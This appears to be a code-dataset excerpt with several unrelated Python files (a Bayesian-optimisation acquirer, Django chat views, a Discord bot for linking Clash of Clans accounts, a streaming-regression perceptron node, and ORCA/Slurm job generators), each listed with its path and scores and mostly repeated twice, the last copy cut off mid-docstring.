mask = std > 0
d = np.where(mask, (mu - best_f) / std, 0.0)
z = norm()
return np.where(mask, (mu - best_f) * z.cdf(d) + std * z.pdf(d), 0.0)
class ExpectedImprovementAcquirer(Acquirer):
"""
Expected improvement acquirer for Gaussian process model.
Parameters
----------
data : PreferenceDict
A PreferenceDict object.
model : PreferenceModel
A PreferenceModel object.
optimizer : AcquisitionOptimizer
An AcquisitionOptimizer object.
"""
def __init__(self, data, model, optimizer):
self.data = data
self.model = model
self.optimizer = optimizer
self._next = None
self._best = None
self._valuations = None
@property
def next(self):
if self._next is None:
# preprocess data
X, y = preprocess_data(self.data)
# infer posterior
self.model.fit(X, y)
# determine current best
f = self.model.mean(X)
self._valuations = [(tuple(x), fx) for x, fx in zip(X, f)]
best_ix = np.argmax(f)
best_f = f[best_ix]
self._best = tuple(X[best_ix])
# find highest-value item
def func(x):
if x.ndim == 1:
x = [x]
mean = self.model.mean(x)
std = np.sqrt(self.model.variance(x))
return expected_improvement(mean, std, best_f)
self._next = tuple(self.optimizer.maximize(func))
return self._next
@property
def best(self):
if self._best is None:
msg = "call `next` before `best`"
raise ValueError(msg)
return self._best
@property
def valuations(self):
if self._valuations is None:
msg = "call `next` before `valuations`"
raise ValueError(msg)
return self._valuations
def update(self, r, c, preference):
# reset `next`
self._next = None
# add new preference
self.data[r, c] = preference | 0.938752 | 0.553867 |
import logging
from django.utils.translation import gettext_lazy as _
from drf_yasg.utils import swagger_auto_schema
from rest_framework.generics import GenericAPIView, UpdateAPIView, ListAPIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework.reverse import reverse_lazy
from rest_framework.permissions import AllowAny
from main.service import BlogMicroService
from django.conf import settings
from main.views import TemplateAPIView
from . import services
from . import serializers
from django.shortcuts import render
from .models import Chat, Message
from .services import ChatService
from main.pagination import BasePageNumberPagination
from main.models import UserData
logger = logging.getLogger(__name__)
from dataclasses import asdict
# Create your views here.
class Index(ListAPIView):
def get(self, request):
return render(self.request, 'chat/index.html', {})
class Room(ListAPIView):
def get(self, request, room_name):
return render(self.request, 'chat/room.html', {
'room_name': room_name})
class ShortUserInfoView(UpdateAPIView):
# serializer_class = ShortUserInfoSerializer
def get(self, request, pk):
url = reverse_lazy('chat:short_user_info', kwargs={'pk': pk})
service = BlogMicroService(url)
return service.service_response()
class UserSignInInfoView(GenericAPIView):
# serializer_class = serializers.UserSignInInfoSerializer
def get(self, request, pk):
url = reverse_lazy('chat:user_sign_in_info', kwargs={'pk': pk})
service = BlogMicroService(url)
# print('Mistake', service)
return service.service_response()
class UserSignUpInfoView(GenericAPIView):
# serializer_class = serializers.UserSignInInfoSerializer
def get(self, request, pk):
url = reverse_lazy('chat:user_sign_up_info', kwargs={'pk': pk})
service = BlogMicroService(url)
return service.service_response()
class ListShortUserInfoView(GenericAPIView):
# serializer_class = ShortUserInfoSerializer
def get(self, request):
url = reverse_lazy('chat:list_short_user_info')
service = BlogMicroService(url)
return service.service_response()
class ChatListView(ListAPIView):
serializer_class = serializers.ChatSerializer
pagination_class = BasePageNumberPagination
permission_classes = ()
def get_queryset(self):
# print(self.request.COOKIES[settings.JWT_AUTH_COOKIE_NAME])
chat_auth = self.request.COOKIES[settings.JWT_AUTH_COOKIE_NAME]
# user_data: dict = ChatService.post_jwt(self.request, chat_auth)
self.user_data: UserData = ChatService.get_or_set_cache(chat_auth)
return ChatService.get_user_chat(self.user_data.id)
def get_serializer_context(self):
users_id: list = ChatService.get_user_chat_contacts(self.user_data.id)
data: dict = super().get_serializer_context()
data['user_data'] = ChatService.post_users_id(users_id)
return data
class MessageListView(ListAPIView):
serializer_class = serializers.MessageSerializer
pagination_class = BasePageNumberPagination
def get_queryset(self):
return ChatService.get_messages(self.kwargs['chat_id'])
class ChatInitView(GenericAPIView):
template_name = 'chat/init.html'
permission_classes = ()
serializer_class = serializers.ChatInitSerializer
# __slots__ =
def get(self, request):
return Response()
def post(self, request):
# print(request.data)
serializer = self.get_serializer(data=request.data)
serializer.is_valid(raise_exception=True)
serializer.save()
response = Response(asdict(serializer.user_data))
ChatService.set_jwt_access_cookie(response, serializer.validated_data['jwt'])
return response | web/chat/views.py | import logging
from django.utils.translation import gettext_lazy as _
from drf_yasg.utils import swagger_auto_schema
from rest_framework.generics import GenericAPIView, UpdateAPIView, ListAPIView
from rest_framework.response import Response
from rest_framework import status
from rest_framework.reverse import reverse_lazy
from rest_framework.permissions import AllowAny
from main.service import BlogMicroService
from django.conf import settings
from main.views import TemplateAPIView
from . import services
from . import serializers
from django.shortcuts import render
from .models import Chat, Message
from .services import ChatService
from main.pagination import BasePageNumberPagination
from main.models import UserData
logger = logging.getLogger(__name__)
from dataclasses import asdict
# Create your views here.
class Index(ListAPIView):
def get(self, request):
return render(self.request, 'chat/index.html', {})
class Room(ListAPIView):
def get(self, request, room_name):
return render(self.request, 'chat/room.html', {
'room_name': room_name})
class ShortUserInfoView(UpdateAPIView):
# serializer_class = ShortUserInfoSerializer
def get(self, request, pk):
url = reverse_lazy('chat:short_user_info', kwargs={'pk': pk})
service = BlogMicroService(url)
return service.service_response()
class UserSignInInfoView(GenericAPIView):
# serializer_class = serializers.UserSignInInfoSerializer
def get(self, request, pk):
url = reverse_lazy('chat:user_sign_in_info', kwargs={'pk': pk})
service = BlogMicroService(url)
# print('Mistake', service)
return service.service_response()
class UserSignUpInfoView(GenericAPIView):
# serializer_class = serializers.UserSignInInfoSerializer
def get(self, request, pk):
url = reverse_lazy('chat:user_sign_up_info', kwargs={'pk': pk})
service = BlogMicroService(url)
return service.service_response()
class ListShortUserInfoView(GenericAPIView):
# serializer_class = ShortUserInfoSerializer
def get(self, request):
url = reverse_lazy('chat:list_short_user_info')
service = BlogMicroService(url)
return service.service_response()
class ChatListView(ListAPIView):
serializer_class = serializers.ChatSerializer
pagination_class = BasePageNumberPagination
permission_classes = ()
def get_queryset(self):
# print(self.request.COOKIES[settings.JWT_AUTH_COOKIE_NAME])
chat_auth = self.request.COOKIES[settings.JWT_AUTH_COOKIE_NAME]
# user_data: dict = ChatService.post_jwt(self.request, chat_auth)
self.user_data: UserData = ChatService.get_or_set_cache(chat_auth)
return ChatService.get_user_chat(self.user_data.id)
def get_serializer_context(self):
users_id: list = ChatService.get_user_chat_contacts(self.user_data.id)
data: dict = super().get_serializer_context()
data['user_data'] = ChatService.post_users_id(users_id)
return data
class MessageListView(ListAPIView):
serializer_class = serializers.MessageSerializer
pagination_class = BasePageNumberPagination
def get_queryset(self):
return ChatService.get_messages(self.kwargs['chat_id'])
class ChatInitView(GenericAPIView):
template_name = 'chat/init.html'
permission_classes = ()
serializer_class = serializers.ChatInitSerializer
# __slots__ =
def get(self, request):
return Response()
def post(self, request):
# print(request.data)
serializer = self.get_serializer(data=request.data)
serializer.is_valid(raise_exception=True)
serializer.save()
response = Response(asdict(serializer.user_data))
ChatService.set_jwt_access_cookie(response, serializer.validated_data['jwt'])
return response | 0.315841 | 0.051702 |
import json
import coc.utils
from Data.Variables.import_var import Linked_accounts
from Data.Constants.useful import Useful
from Script.Clients.clash_of_clans_client import Clash_of_clans
from Script.import_functions import create_embed
async def link_coc_account(ctx, player_tag, api_token):
player_tag = coc.utils.correct_tag(player_tag)
is_correct_token = await Clash_of_clans.verify_player_token(player_tag, api_token)
if is_correct_token:
if ctx.author.id not in list(Linked_accounts.keys()):
Linked_accounts.update({ctx.author.id: {"Clash Of Clans": []}})
Linked_accounts[ctx.author.id].update({"Clash Of Clans": Linked_accounts[ctx.author.id]["Clash Of Clans"] + [player_tag]})
embed = create_embed("Accounts linked", f"Your Discord account is now linked with the Clash Of Clans account `{player_tag}`", ctx.guild.me.color, "", ctx.guild.me.avatar_url)
await ctx.send(embed=embed, hidden=True)
json_text = json.dumps(Linked_accounts, sort_keys=True, indent=4)
linked_account_file = open(f"{Useful['secure_folder_path']}linked_accounts.json", "w")
linked_account_file.write(json_text)
linked_account_file.close()
else:
await ctx.send(f"Player not found\nThere is no player with the tag `{player_tag}`.", hidden=True)
return
async def unlink_coc_account(ctx, player_tag):
player_tag = coc.utils.correct_tag(player_tag)
if player_tag in Linked_accounts[ctx.author.id]["Clash Of Clans"]:
Linked_accounts[ctx.author.id]["Clash Of Clans"].pop(Linked_accounts[ctx.author.id]["Clash Of Clans"].index(player_tag))
if Linked_accounts[ctx.author.id]["Clash Of Clans"] == []:
Linked_accounts.pop(ctx.author.id)
json_text = json.dumps(Linked_accounts, sort_keys=True, indent=4)
linked_account_file = open(f"{Useful['secure_folder_path']}linked_accounts.json", "w")
linked_account_file.write(json_text)
linked_account_file.close()
embed = create_embed("Accounts unlinked", f"Your Discord account is no longer linked with the Clash Of Clans account `{player_tag}`", ctx.guild.me.color, "", ctx.guild.me.avatar_url)
await ctx.send(embed=embed, hidden=True)
else:
embed = create_embed("Account not linked", f"Your Discord account is not linked with the Clash Of Clans account `{player_tag}`", ctx.guild.me.color, "", ctx.guild.me.avatar_url)
await ctx.send(embed=embed, hidden=True)
return | Script/Commands/Messages/link_coc_account.py |
import json
import coc.utils
from Data.Variables.import_var import Linked_accounts
from Data.Constants.useful import Useful
from Script.Clients.clash_of_clans_client import Clash_of_clans
from Script.import_functions import create_embed
async def link_coc_account(ctx, player_tag, api_token):
player_tag = coc.utils.correct_tag(player_tag)
is_correct_token = await Clash_of_clans.verify_player_token(player_tag, api_token)
if is_correct_token:
if ctx.author.id not in list(Linked_accounts.keys()):
Linked_accounts.update({ctx.author.id: {"Clash Of Clans": []}})
Linked_accounts[ctx.author.id].update({"Clash Of Clans": Linked_accounts[ctx.author.id]["Clash Of Clans"] + [player_tag]})
embed = create_embed("Accounts linked", f"Your Discord account is now linked with the Clash Of Clans account `{player_tag}`", ctx.guild.me.color, "", ctx.guild.me.avatar_url)
await ctx.send(embed=embed, hidden=True)
json_text = json.dumps(Linked_accounts, sort_keys=True, indent=4)
linked_account_file = open(f"{Useful['secure_folder_path']}linked_accounts.json", "w")
linked_account_file.write(json_text)
linked_account_file.close()
else:
await ctx.send(f"Player not found\nThere is no player with the tag `{player_tag}`.", hidden=True)
return
async def unlink_coc_account(ctx, player_tag):
player_tag = coc.utils.correct_tag(player_tag)
if player_tag in Linked_accounts[ctx.author.id]["Clash Of Clans"]:
Linked_accounts[ctx.author.id]["Clash Of Clans"].pop(Linked_accounts[ctx.author.id]["Clash Of Clans"].index(player_tag))
if Linked_accounts[ctx.author.id]["Clash Of Clans"] == []:
Linked_accounts.pop(ctx.author.id)
json_text = json.dumps(Linked_accounts, sort_keys=True, indent=4)
linked_account_file = open(f"{Useful['secure_folder_path']}linked_accounts.json", "w")
linked_account_file.write(json_text)
linked_account_file.close()
embed = create_embed("Accounts unlinked", f"Your Discord account is no longer linked with the Clash Of Clans account `{player_tag}`", ctx.guild.me.color, "", ctx.guild.me.avatar_url)
await ctx.send(embed=embed, hidden=True)
else:
embed = create_embed("Account not linked", f"Your Discord account is not linked with the Clash Of Clans account `{player_tag}`", ctx.guild.me.color, "", ctx.guild.me.avatar_url)
await ctx.send(embed=embed, hidden=True)
return | 0.481698 | 0.197116 |
import numpy as np
from skmultiflow.trees.nodes import ActiveLearningNode
from skmultiflow.trees.attribute_observer import NominalAttributeRegressionObserver
from skmultiflow.trees.attribute_observer import NumericAttributeRegressionObserver
from skmultiflow.utils import check_random_state
class ActiveLearningNodePerceptron(ActiveLearningNode):
""" Learning Node for regression tasks that always use a linear perceptron
model to provide responses.
Parameters
----------
initial_class_observations: dict
In regression tasks this dictionary carries the sufficient to perform
online variance calculation. They refer to the number of observations
(key '0'), the sum of the target values (key '1'), and the sum of the
squared target values (key '2').
perceptron_weight: np.ndarray(n_features) or None, optional (default=None)
(default=None)
The weights for the linear models. If
not passed, uniform values in the range [-1, 1] are used.
random_state: int, RandomState instance or None, optional (default=None)
If int, random_state is the seed used by the random number generator;
If RandomState instance, random_state is the random number generator;
If None, the random number generator is the RandomState instance used
by `np.random`.
"""
def __init__(self, initial_class_observations, perceptron_weight=None, random_state=None):
""" ActiveLearningNodePerceptron class constructor."""
super().__init__(initial_class_observations)
if perceptron_weight is None:
self.perceptron_weight = None
else:
self.perceptron_weight = perceptron_weight
self.random_state = check_random_state(random_state)
def learn_from_instance(self, X, y, weight, rht):
"""Update the node with the provided instance.
Parameters
----------
X: numpy.ndarray of length equal to the number of features.
Instance attributes for updating the node.
y: float
Instance target value.
weight: float
Instance weight.
rht: RegressionHoeffdingTree
Regression Hoeffding Tree to update.
"""
if self.perceptron_weight is None:
self.perceptron_weight = self.random_state.uniform(-1, 1, len(X)+1)
try:
self._observed_class_distribution[0] += weight
except KeyError:
self._observed_class_distribution[0] = weight
if rht.learning_ratio_const:
learning_ratio = rht.learning_ratio_perceptron
else:
learning_ratio = rht.learning_ratio_perceptron / \
(1 + self._observed_class_distribution[0] * rht.learning_ratio_decay)
try:
self._observed_class_distribution[1] += y * weight
self._observed_class_distribution[2] += y * y * weight
except KeyError:
self._observed_class_distribution[1] = y * weight
self._observed_class_distribution[2] = y * y * weight
for i in range(int(weight)):
self.update_weights(X, y, learning_ratio, rht)
for i in range(len(X)):
try:
obs = self._attribute_observers[i]
except KeyError:
if rht.nominal_attributes is not None and i in rht.nominal_attributes:
obs = NominalAttributeRegressionObserver()
else:
obs = NumericAttributeRegressionObserver()
self._attribute_observers[i] = obs
obs.observe_attribute_class(X[i], y, weight)
def update_weights(self, X, y, learning_ratio, rht):
"""
Update the perceptron weights
Parameters
----------
X: numpy.ndarray of length equal to the number of features.
Instance attributes for updating the node.
y: float
Instance target value.
learning_ratio: float
perceptron learning ratio
rht: RegressionHoeffdingTree
Regression Hoeffding Tree to update.
"""
normalized_sample = rht.normalize_sample(X)
normalized_pred = self.predict(normalized_sample)
normalized_target_value = rht.normalized_target_value(y)
self.perceptron_weight = self.perceptron_weight + learning_ratio * \
np.multiply((normalized_target_value - normalized_pred),
normalized_sample)
def predict(self, X):
return np.dot(self.perceptron_weight, X)
def get_weight_seen(self):
"""Calculate the total weight seen by the node.
Returns
-------
float
Total weight seen.
"""
if self._observed_class_distribution == {}:
return 0
else:
return self._observed_class_distribution[0] | src/skmultiflow/trees/nodes/active_learning_node_perceptron.py | import numpy as np
from skmultiflow.trees.nodes import ActiveLearningNode
from skmultiflow.trees.attribute_observer import NominalAttributeRegressionObserver
from skmultiflow.trees.attribute_observer import NumericAttributeRegressionObserver
from skmultiflow.utils import check_random_state
class ActiveLearningNodePerceptron(ActiveLearningNode):
""" Learning Node for regression tasks that always use a linear perceptron
model to provide responses.
Parameters
----------
initial_class_observations: dict
In regression tasks this dictionary carries the sufficient to perform
online variance calculation. They refer to the number of observations
(key '0'), the sum of the target values (key '1'), and the sum of the
squared target values (key '2').
perceptron_weight: np.ndarray(n_features) or None, optional (default=None)
(default=None)
The weights for the linear models. If
not passed, uniform values in the range [-1, 1] are used.
random_state: int, RandomState instance or None, optional (default=None)
If int, random_state is the seed used by the random number generator;
If RandomState instance, random_state is the random number generator;
If None, the random number generator is the RandomState instance used
by `np.random`.
"""
def __init__(self, initial_class_observations, perceptron_weight=None, random_state=None):
""" ActiveLearningNodePerceptron class constructor."""
super().__init__(initial_class_observations)
if perceptron_weight is None:
self.perceptron_weight = None
else:
self.perceptron_weight = perceptron_weight
self.random_state = check_random_state(random_state)
def learn_from_instance(self, X, y, weight, rht):
"""Update the node with the provided instance.
Parameters
----------
X: numpy.ndarray of length equal to the number of features.
Instance attributes for updating the node.
y: float
Instance target value.
weight: float
Instance weight.
rht: RegressionHoeffdingTree
Regression Hoeffding Tree to update.
"""
if self.perceptron_weight is None:
self.perceptron_weight = self.random_state.uniform(-1, 1, len(X)+1)
try:
self._observed_class_distribution[0] += weight
except KeyError:
self._observed_class_distribution[0] = weight
if rht.learning_ratio_const:
learning_ratio = rht.learning_ratio_perceptron
else:
learning_ratio = rht.learning_ratio_perceptron / \
(1 + self._observed_class_distribution[0] * rht.learning_ratio_decay)
try:
self._observed_class_distribution[1] += y * weight
self._observed_class_distribution[2] += y * y * weight
except KeyError:
self._observed_class_distribution[1] = y * weight
self._observed_class_distribution[2] = y * y * weight
for i in range(int(weight)):
self.update_weights(X, y, learning_ratio, rht)
for i in range(len(X)):
try:
obs = self._attribute_observers[i]
except KeyError:
if rht.nominal_attributes is not None and i in rht.nominal_attributes:
obs = NominalAttributeRegressionObserver()
else:
obs = NumericAttributeRegressionObserver()
self._attribute_observers[i] = obs
obs.observe_attribute_class(X[i], y, weight)
def update_weights(self, X, y, learning_ratio, rht):
"""
Update the perceptron weights
Parameters
----------
X: numpy.ndarray of length equal to the number of features.
Instance attributes for updating the node.
y: float
Instance target value.
learning_ratio: float
perceptron learning ratio
rht: RegressionHoeffdingTree
Regression Hoeffding Tree to update.
"""
normalized_sample = rht.normalize_sample(X)
normalized_pred = self.predict(normalized_sample)
normalized_target_value = rht.normalized_target_value(y)
self.perceptron_weight = self.perceptron_weight + learning_ratio * \
np.multiply((normalized_target_value - normalized_pred),
normalized_sample)
def predict(self, X):
return np.dot(self.perceptron_weight, X)
def get_weight_seen(self):
"""Calculate the total weight seen by the node.
Returns
-------
float
Total weight seen.
"""
if self._observed_class_distribution == {}:
return 0
else:
return self._observed_class_distribution[0] | 0.916641 | 0.620219 |
import os
import subprocess
import numpy as np
from mako.template import Template
from mbgdml import utils
class CalcTemplate:
"""Contains all quantum chemistry templates for mako.
Parameters
----------
package : :obj:`str`
Computational chemistry package to perform calculations.
"""
def __init__(self, package):
if package.lower() == 'orca':
self.input = (
"# ${job_name}\n"
"${command_signal} ${theory} ${basis_set} ${calc_type} ${options}\n"
"\n"
"${control_signal}pal\n"
" nprocs ${cores}\n"
"end\n"
"\n"
"${control_blocks}\n"
"\n"
"*xyz ${charge} ${multiplicity}\n"
"${coords}"
"*\n"
)
self.submit = (
"#!/bin/bash\n"
"#SBATCH --job-name=${job_name}\n"
"#SBATCH --output=${output_name}.out\n"
"#SBATCH --nodes=${nodes}\n"
"#SBATCH --ntasks-per-node=${cores}\n"
"#SBATCH --time=${days}-${hours}:00:00\n"
"#SBATCH --cluster=${cluster}\n"
"\n"
"${submit_script}\n"
)
self.add_job="\n\n$new_job\n\n"
class ORCA:
"""Prepares, writes, and submits ORCA 4 calculations.
"""
def __init__(
self,
job_name,
input_name,
output_name
):
"""
Parameters
----------
job_name : :obj:`str`
Name of the job for SLURM input file.
input_name : :obj:`str`
File name for the input file.
output_name : :obj:`str`
File name for the output file.
"""
templates = CalcTemplate('orca')
# ORCA properties
self.command_signal = '!'
self.control_signal = '%'
self.input_extension = 'inp'
self.progression_parameters = ''
self.template_input = templates.input
self.template_submit = templates.submit
# Calculation properties
self.job_name = job_name
self.input_name = input_name
self.output_name = output_name
def input(
self,
calc_type,
coords,
theory,
basis_set,
charge,
multiplicity,
cores,
options='',
control_blocks='',
write=True,
write_dir='.',
input_extension='inp'
):
"""Rendered input file as string.
Parameters
----------
calc_type : :obj:`str`
Type of calculation. Options are ``'SP'``, ``'ENGRAD'``, ``'OPT'``,
``'FREQ'``, ``'NUMFREQ'``. Note that analytical frequency
calculation is called with ``'FREQ'``.
coords : :obj:`str`
XYZ atomic coordinates as a string. A water molecule for example,
``'O 0.00000 0.00000 0.11779\\nH
0.00000 0.75545 -0.47116\\nH 0.00000
-0.75545 -0.47116'``.
theory : :obj:`str`
The level of theory for the calculations. For example, ``'B3LYP'``
or ``'MP2'``.
basis_set : :obj:`str`
The basis set to be used in the calculations. For example,
``'def2-TZVP'``.
charge : :obj:`int`
System charge.
multiplicity : :obj:`int`
System multiplicity.
cores : :obj:`int`
Number of requested cores per node.
options : :obj:`str`
Other calculations options such as implicit solvents, convergence
criteria, etc. For example, ``'CPCM(water) Grid4 TightSCF'``.
control_blocks : :obj:`str`, optional
All options that control the calculation. For example
``'%scf\\n ConvForced true\\nend\\n%maxcore 8000\\n'``.
write : :obj:`bool`, optional
Whether or not to write the file. Defaults to ``True``.
write_dir : :obj:`str`, optional
Directory to write the input file. Defaults to ``'.'``
input_extension: :obj:`str`, optional
File extension for ORCA input. Defaults to ``'inp'``.
"""
self.calc_type = calc_type
self.charge = charge
self.multiplicity = multiplicity
self.coords = coords
self.theory = theory
self.basis_set = basis_set
if calc_type.lower() in ['sp', 'engrad', 'opt', 'freq', 'numfreq']:
self.calc_type = calc_type
else:
raise ValueError(f'{calc_type} is unsupported.')
self.options = options
self.control_blocks = control_blocks
self.cores = cores
templateOrca = Template(self.template_input)
self.input_check()
rendered = templateOrca.render(
job_name=self.job_name, command_signal=self.command_signal,
control_signal=self.control_signal, theory=self.theory,
basis_set=self.basis_set, calc_type=self.calc_type,
options=self.options, cores=str(self.cores), charge=str(self.charge),
multiplicity=str(self.multiplicity),
control_blocks=self.control_blocks, coords=self.coords
)
filename = str(self.input_name).replace(' ', '-') \
+ '.' + self.input_extension
if write:
if write_dir[-1] != '/':
write_dir += '/'
with open(write_dir + filename, 'w') as inputFile:
inputFile.write(rendered)
return filename, rendered
def submit(
self,
cluster,
nodes,
cores,
days,
hours,
submit_script,
write=True,
write_dir='.'
):
"""Prepare submission script.
Parameters
----------
cluster : :obj:`str`
Name of cluster for calculations. For example, ``'smp'``.
nodes : :obj:`int`
Number of requested nodes.
cores : :obj:`int`
Number of requested cores per node.
days : :obj:`int`
Requested run time days.
hours : :obj:`int`
Requested run time hours.
write : :obj:`bool`, optional
Whether or not to write the file. Defaults to ``True``.
write_dir : :obj:`str`, optional
Directory to write the input file. Defaults to ``'.'``
Returns
-------
:obj:`str`
File name (with extension) of the submission script.
:obj:`str`
Rendered submission script.
"""
# Run options
self.cluster = cluster
self.nodes = nodes
self.cores = cores
self.days = days
self.hours = hours
self.submit_script = submit_script
templateOrcaSubmit = Template(self.template_submit)
rendered = templateOrcaSubmit.render(
job_name = self.job_name, output_name = self.output_name,
cluster = self.cluster, nodes = self.nodes,
cores = self.cores, days = str(self.days),
hours = str(self.hours), input_name = self.input_name,
submit_script=self.submit_script
)
file_name = 'submit-orca.420.slurm'
if write:
if write_dir[-1] != '/':
write_dir += '/'
with open(write_dir + file_name, 'w') as inputFile:
inputFile.write(rendered)
return file_name, rendered
def input_check(self):
"""Performs checks on input specifications.
"""
# ORCA requires numerical frequencies if using frozencore and MP2.
if ' frozencore' in self.options.lower() and self.calc_type == 'freq' \
and 'mp2' in self.theory.lower():
self.calc_type = 'NumFreq'
def slurm_engrad_calculation(
package,
z,
R,
job_name,
input_name,
output_name,
theory='MP2',
basis_set='def2-TZVP',
charge=0,
multiplicity=1,
cluster='smp',
nodes=1,
cores=12,
days=0,
hours=24,
calc_dir='.',
options='',
control_blocks='',
submit_script='',
write=True,
submit=False
):
"""Generates a quantum chemistry Slurm job for multiple energy+gradient
calculations of different configurations of the same system.
Parameters
----------
package : :obj:`str`
Specifies the quantum chemistry program. ``'ORCA'`` is
currently the only package directly supported.
z : :obj:`numpy.ndarray`
A ``(n,)`` or ``(m, n)`` shape array of type :obj:`numpy.int32`
containing atomic numbers of atoms in the order as they
appear for every ``m`` structure.
R : :obj:`numpy.ndarray`
A :obj:`numpy.ndarray` with shape of ``(n, 3)`` or ``(m, n, 3)`` where
``m`` is the number of structures and ``n`` is the number of atoms.
job_name : :obj:`str`
A unique name for the Slurm job.
input_name : :obj:`str`
Desired file name of the input file.
output_name : :obj:`str`
Desired name of the output file specified by Slurm.
theory : :obj:`str`, optional
Keword that specifies the level of theory used for energy+gradient
calculations (specific to the ``package``). For example, ``'MP2'``,
``'BP86'``, ``'B3LYP'``, ``'CCSD'``, etc. Defaults to ``'MP2'``.
basis_set : :obj:`str`, optional
Keyword that specifies the desired basis set (specific to the
``package``). For example, ``'def2-SVP''`, ``'def2-TZVP'``,
``'cc-pVQZ'``, etc. Defaults to ``'def2-TZVP'``.
charge : :obj:`int`, optional
System charge. Defaults to ``0``.
multiplicity : :obj:`int`, optional
System multiplicity. Defaults to ``1``.
cluster : :obj:`str`, optional
Name of the Slurm computing cluster for calculations.
Defaults to ``'smp'``.
nodes : :obj:`int`, optional
Number of requested nodes. Defaults to ``1``.
cores : :obj:`int`, optional
Number of processing cores for the calculation. Defaults to ``12``.
days : :obj:`int`, optional
Requested run time days. Defaults to ``0``.
hours : :obj:`int`, optional
Requested run time hours. Defaults to ``24``.
calc_dir : :obj:`str`, optional
Path to write calculation. Defaults to current directory (``'.'``).
options : :obj:`str`, optional
All option keywords for the energy+gradient calculation (e.g., SCF
convergence criteria, algorithms, etc.) specific for the package.
For example, ``'TightSCF FrozenCore'`` for ORCA 4.2.0. Defaults to `''`.
control_blocks : :obj:`str`, optional
Options that will be directly added to the input file (stuff that does
not have a keyword). For example, ``'%maxcore 8000'``.
Defaults to ``''``.
submit_script : :obj:`str`, optional
The Slurm submission script content excluding . Defaults to
``pitt_crc_orca_420_submit``.
write : :obj:`bool`, optional
Whether or not to write the calculation files. Defaults to ``True``.
submit : :obj:`bool`, optional
Controls whether the calculation is submitted using the ``sbatch``
command. Defaults to ``False``.
Returns
-------
:obj:`str`
The SLURM submission script.
:obj:`str`
The input file.
"""
if calc_dir[-1] != '/':
calc_dir += '/'
os.makedirs(calc_dir, exist_ok=True)
if z.ndim == 1:
z = np.array([z])
if R.ndim == 2:
R = np.array([R])
# Prepares calculation
if package.lower() == 'orca':
engrad = ORCA(
job_name,
input_name,
output_name
)
templates = CalcTemplate('orca')
engrad_keyword = 'EnGrad'
# Initializes input and Slurm files.
input_file_string = ''
if submit_script == '':
submit_script = pitt_crc_orca_420_submit
slurm_file_name, slurm_file = engrad.submit(
cluster,
nodes,
cores,
days,
hours,
submit_script,
write=write,
write_dir=calc_dir
)
# Loops through each structure in R (i.e., step) and appends the input.
if z.shape[0] == 1:
step_z = z[0]
for step_index in range(0, R.shape[0]):
if z.shape[0] != 1:
step_z = z[step_index]
step_R = R[step_index]
if step_index != 0:
engrad.template_input = templates.add_job + templates.input
step_R_string = utils.string_xyz_arrays(step_z, step_R)
_, calc_string = engrad.input(
engrad_keyword,
step_R_string,
theory,
basis_set,
charge,
multiplicity,
cores,
options=options,
control_blocks=control_blocks,
write=False,
write_dir=calc_dir
)
if input_file_string == '':
input_file_string = calc_string
else:
input_file_string += calc_string
if write:
with open(calc_dir + input_name + '.' + engrad.input_extension, 'w') as f:
f.write(input_file_string)
if submit:
bash_command = 'sbatch ' + slurm_file_name
submit_process = subprocess.Popen(
bash_command.split(),
stdout=subprocess.PIPE
)
_, _ = submit_process.communicate()
return slurm_file, input_file_string
pitt_crc_orca_420_submit = (
"cd $SBATCH_O_WORKDIR\n"
"module purge\n"
"module load openmpi/3.1.4\n"
"module load orca/4.2.0\n"
"\n"
"cp $SLURM_SUBMIT_DIR/*.inp $SLURM_SCRATCH\n"
"\n"
"export LD_LIBRARY_PATH=/usr/lib64/openmpi/lib:$LD_LIBRARY_PATH\n"
"# Suppresses OpenFabrics (openib) absence nonfatal error.\n"
"export OMPI_MCA_btl_base_warn_component_unused=0\n"
"# Makes all error messages print.\n"
"export OMPI_MCA_orte_base_help_aggregate=0\n"
"\n"
"cd $SLURM_SCRATCH\n"
"$(which orca) *.inp\n"
) | mbgdml/qc.py |
import os
import subprocess
import numpy as np
from mako.template import Template
from mbgdml import utils
class CalcTemplate:
"""Contains all quantum chemistry templates for mako.
Parameters
----------
package : :obj:`str`
Computational chemistry package to perform calculations.
"""
def __init__(self, package):
if package.lower() == 'orca':
self.input = (
"# ${job_name}\n"
"${command_signal} ${theory} ${basis_set} ${calc_type} ${options}\n"
"\n"
"${control_signal}pal\n"
" nprocs ${cores}\n"
"end\n"
"\n"
"${control_blocks}\n"
"\n"
"*xyz ${charge} ${multiplicity}\n"
"${coords}"
"*\n"
)
self.submit = (
"#!/bin/bash\n"
"#SBATCH --job-name=${job_name}\n"
"#SBATCH --output=${output_name}.out\n"
"#SBATCH --nodes=${nodes}\n"
"#SBATCH --ntasks-per-node=${cores}\n"
"#SBATCH --time=${days}-${hours}:00:00\n"
"#SBATCH --cluster=${cluster}\n"
"\n"
"${submit_script}\n"
)
self.add_job="\n\n$new_job\n\n"
class ORCA:
"""Prepares, writes, and submits ORCA 4 calculations.
"""
def __init__(
self,
job_name,
input_name,
output_name
):
"""
Parameters
----------
job_name : :obj:`str`
Name of the job for SLURM input file.
input_name : :obj:`str`
File name for the input file.
output_name : :obj:`str`
File name for the output file.
"""
templates = CalcTemplate('orca')
# ORCA properties
self.command_signal = '!'
self.control_signal = '%'
self.input_extension = 'inp'
self.progression_parameters = ''
self.template_input = templates.input
self.template_submit = templates.submit
# Calculation properties
self.job_name = job_name
self.input_name = input_name
self.output_name = output_name
def input(
self,
calc_type,
coords,
theory,
basis_set,
charge,
multiplicity,
cores,
options='',
control_blocks='',
write=True,
write_dir='.',
input_extension='inp'
):
"""Rendered input file as string.
Parameters
----------
calc_type : :obj:`str`
Type of calculation. Options are ``'SP'``, ``'ENGRAD'``, ``'OPT'``,
``'FREQ'``, ``'NUMFREQ'``. Note that analytical frequency
calculation is called with ``'FREQ'``.
coords : :obj:`str`
XYZ atomic coordinates as a string. A water molecule for example,
``'O 0.00000 0.00000 0.11779\\nH
0.00000 0.75545 -0.47116\\nH 0.00000
-0.75545 -0.47116'``.
theory : :obj:`str`
The level of theory for the calculations. For example, ``'B3LYP'``
or ``'MP2'``.
basis_set : :obj:`str`
The basis set to be used in the calculations. For example,
``'def2-TZVP'``.
charge : :obj:`int`
System charge.
multiplicity : :obj:`int`
System multiplicity.
cores : :obj:`int`
Number of requested cores per node.
options : :obj:`str`
Other calculations options such as implicit solvents, convergence
criteria, etc. For example, ``'CPCM(water) Grid4 TightSCF'``.
control_blocks : :obj:`str`, optional
All options that control the calculation. For example
``'%scf\\n ConvForced true\\nend\\n%maxcore 8000\\n'``.
write : :obj:`bool`, optional
